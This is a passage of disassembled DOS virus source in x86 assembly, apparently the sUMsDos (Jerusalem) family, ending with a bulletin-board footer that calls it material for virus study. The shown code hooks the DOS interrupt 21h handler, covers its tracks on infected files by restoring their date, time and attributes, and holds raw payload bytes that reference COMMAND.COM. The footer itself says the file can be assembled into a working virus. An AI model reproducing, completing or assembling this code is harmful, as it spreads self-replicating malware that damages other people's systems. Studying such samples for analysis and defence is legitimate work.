  664.         INT    21H                ; DOS Services  ah=function 49h
  665.                             ;  release memory block, es=seg
  666. LOC_42:
  667.         CMP    WORD PTR CS:DATA_37E,0FFFFH    ; (6CAF:0070=0)
  668.         JE    LOC_43                ; Jump if equal
  669.         MOV    BX,CS:DATA_37E            ; (6CAF:0070=0)
  670.         MOV    DX,CS:DATA_39E            ; (6CAF:0074=0)
  671.         MOV    CX,CS:DATA_40E            ; (6CAF:0076=0)
  672.         MOV    AX,5701H
  673.         INT    21H                ; DOS Services  ah=function 57h
  674.                             ;  get/set file date & time
  675.         MOV    AH,3EH                ; '>'
  676.         INT    21H                ; DOS Services  ah=function 3Eh
  677.                             ;  close file, bx=file handle
  678.         LDS    DX,DWORD PTR CS:DATA_42E    ; (6CAF:0080=0) Load 32 bit ptr
  679.         MOV    CX,CS:DATA_38E            ; (6CAF:0072=0)
  680.         MOV    AX,4301H
  681.         INT    21H                ; DOS Services  ah=function 43h
  682.                             ;  get/set file attrb, nam@ds:dx
  683.         LDS    DX,DWORD PTR CS:DATA_27E    ; (6CAF:001B=0) Load 32 bit ptr
  684.         MOV    AX,2524H
  685.         INT    21H                ; DOS Services  ah=function 25h
  686.                             ;  set intrpt vector al to ds:dx
  687. LOC_43:
  688.         POP    ES
  689.         POP    DS
  690.         POP    DI
  691.         POP    SI
  692.         POP    DX
  693.         POP    CX
  694.         POP    BX
  695.         POP    AX
  696.         POPF                    ; Pop flags
  697.         JMP    DWORD PTR CS:DATA_25E        ; (6CAF:0017=0)
  698.         DB    11 DUP (0)
  699.         DB    4DH, 14H, 0AH, 0, 10H
  700.         DB    11 DUP (0)
  701.         DB    0E9H, 92H, 0, 73H, 55H, 4DH
  702.         DB    73H, 44H, 6FH, 73H, 0, 1
  703.         DB    0BCH, 17H, 0, 0, 0, 5
  704.         DB    0, 2BH, 2, 70H, 0, 6EH
  705.         DB    6, 20H, 0BH, 0EBH, 4, 14H
  706.         DB    0AH, 92H, 7BH, 0
  707.         DB    12 DUP (0)
  708.         DB    0E8H, 6, 0ECH, 37H, 17H, 80H
  709.         DB    0, 0, 0, 80H, 0, 37H
  710.         DB    17H, 5CH, 0, 37H, 17H, 6CH
  711.         DB    0, 37H, 17H, 10H, 7, 4CH
  712.         DB    72H, 0C5H, 0, 4CH, 72H, 0
  713.         DB    0F0H, 46H, 0, 4DH, 5AH, 60H
  714.         DB    0, 0CEH, 2, 9FH, 26H, 0C0H
  715.         DB    9, 7, 0, 7, 0, 75H
  716.         DB    4FH, 10H, 7, 84H, 19H, 0C5H
  717.         DB    0, 75H, 4FH, 1EH, 0, 0
  718.         DB    0, 0B8H, 0, 4CH, 0CDH, 21H
  719.         DB    5, 0, 20H, 0, 49H, 13H
  720.         DB    91H, 0B3H, 0, 2, 10H, 0
  721.         DB    50H, 93H, 5, 0, 5BH, 3DH
  722.         DB    70H, 0ABH
  723.         DB    'COMMAND.COM'
  724.         DB    1, 0, 0, 0, 0, 0
  725.         DB    0FCH, 0B4H, 0E0H, 0CDH, 21H, 80H
  726.         DB    0FCH, 0E0H, 73H, 16H, 80H, 0FCH
  727.         DB    3, 72H, 11H, 0B4H, 0DDH, 0BFH
  728.         DB    0, 1, 0BEH, 10H, 7, 3
  729.         DB    0F7H, 2EH, 8BH, 8DH, 11H, 0
  730.         DB    0CDH
  731.         DB    21H
  732. LOC_44:
  733.         MOV    AX,CS
  734.         ADD    AX,10H
  735.         MOV    SS,AX
  736.         MOV    SP,700H
  737.         PUSH    AX
  738.         MOV    AX,0C5H
  739.         PUSH    AX
  740.         RET                    ; Return far
  741. int_21h_entry    ENDP
  742.   
  743.         DB    0FCH, 6, 2EH, 8CH, 6, 31H
  744.         DB    0, 2EH, 8CH, 6, 39H, 0
  745.         DB    2EH, 8CH, 6, 3DH, 0, 2EH
  746.         DB    8CH, 6, 41H, 0, 8CH, 0C0H
  747.         DB    5, 10H, 0, 2EH, 1, 6
  748.         DB    49H, 0, 2EH, 1, 6, 45H
  749.         DB    0, 0B4H, 0E0H, 0CDH, 21H, 80H
  750.         DB    0FCH, 0E0H, 73H, 13H, 80H, 0FCH
  751.         DB    3, 7, 2EH, 8EH, 16H, 45H
  752.         DB    0, 2EH, 8BH, 26H, 43H, 0B8H
  753.         DB    0, 4CH, 0CDH
  754.         DB    21H, 4DH, 73H, 44H, 6FH, 73H
  755.   
  756. sumsdos        ENDP
  757.   
  758. CODESEG        ENDS
  759.   
  760.   
  761.   
  762.         END    START
  763.  
  764. ;****************************************************************************;
  765. ;                                                                            ;
  766. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  767. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  768. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  769. ;                     -=]                            [=-                     ;
  770. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  771. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  772. ;                     -=]                            [=-                     ;
  773. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  774. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  775. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  776. ;                                                                            ;
  777. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  778. ;                                                                            ;
  779. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  780. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  781. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  782. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  783. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  784. ; Is. Keep This Code in Responsible Hands!                                   ;
  785. ;                                                                            ;
  786. ;****************************************************************************;
  787.